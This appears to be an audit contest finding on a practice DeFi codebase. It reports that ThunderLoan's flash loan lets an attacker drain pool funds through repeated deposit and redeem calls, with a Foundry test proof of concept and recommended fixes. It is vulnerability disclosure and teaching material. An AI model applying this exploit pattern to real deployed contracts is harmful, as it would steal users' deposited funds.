Beginner FriendlyFoundryDeFiOracle
100 EXP
View results
Submission Details
Severity: high
Valid

`ThunderLoan:: Flashloan` can be used to drain user funds from particular `AssetToken` pool due to flaw in `deposit` function

Summary

Flashloan function can be used to drain user funds.

Vulnerability Details

When flashloan is called, it update the exchange rate, before sending the requested tokens to receiver contract. Requested contract will deposit the tokens using deposit function, this will mint the asset tokens to receiver and update the exchange rate. Then Attacker can call redeem. By doing this (deposit and redeem) recursively, attacker will get enough asset tokens, using that he will be able to get more tokens that he deposited. Attacker repay the flashloan with fee and keep the extra amount. This gives attacker a incentive, which will cause user fund loss.

POC

There are 3 users, liquidityProvider, user and alice with having 100, 100 and 20 tokens. Here AMOUNT = 10e18
First of all we mock liquidityProvider, who deposit 10 tokens twice.
Then we mock user who deposit 10 and 20 tokens in two transaction respectively.
Consider this 2nd transaction as flashloan initialization, where exchange rate updates.
Assume these 20 tokens are in receiver address, and alice is receiver address
so it will keep depositing and redeeming it X times (here we used just 200 times).
he will be in profit, stats can be seen by using forge test --match-test testFlashLoanScenerio
PS- This is simplest example to demonstrate, actual values will be more profitable

function testFlashLoanScenerio() public setAllowedToken {
tokenA.mint(liquidityProvider, AMOUNT * 10);
tokenA.mint(user, AMOUNT * 10);
tokenA.mint(alice, AMOUNT * 2);
vm.startPrank(liquidityProvider);
tokenA.approve(address(thunderLoan), AMOUNT * 10);
thunderLoan.deposit(tokenA, AMOUNT);
thunderLoan.deposit(tokenA, AMOUNT);
AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
vm.stopPrank();
vm.startPrank(user);
tokenA.approve(address(thunderLoan), AMOUNT * 10);
thunderLoan.deposit(tokenA, AMOUNT);
thunderLoan.deposit(tokenA, AMOUNT * 2);
vm.stopPrank();
vm.startPrank(alice);
uint256 flashloan = tokenA.balanceOf(alice);
tokenA.approve(address(thunderLoan), AMOUNT * 10000000);
for (uint256 i= 0; i<201; i++){
thunderLoan.deposit(tokenA, tokenA.balanceOf(alice));
thunderLoan.redeem(tokenA, asset.balanceOf(alice));
}
uint256 fee = (flashloan * 30) / 1000;
uint256 repayAmount = flashloan + fee;
uint256 profit = tokenA.balanceOf(alice) - repayAmount;
vm.stopPrank();
console2.log(repayAmount, "repayAmount");
console2.log(tokenA.balanceOf(alice), "Alice balance before repay");
console2.log(profit, "alice profit after flashloan");
}

Impact

User funds will be lost, they will be unable to claim there deposit.

Tools Used

Manual Review

Recommendations

Add a time delay b/w deposit and redeem, so it can't be exploited. Alternatively, minting asset tokens logic should be improved.

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

can't redeem because of the update exchange rate

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.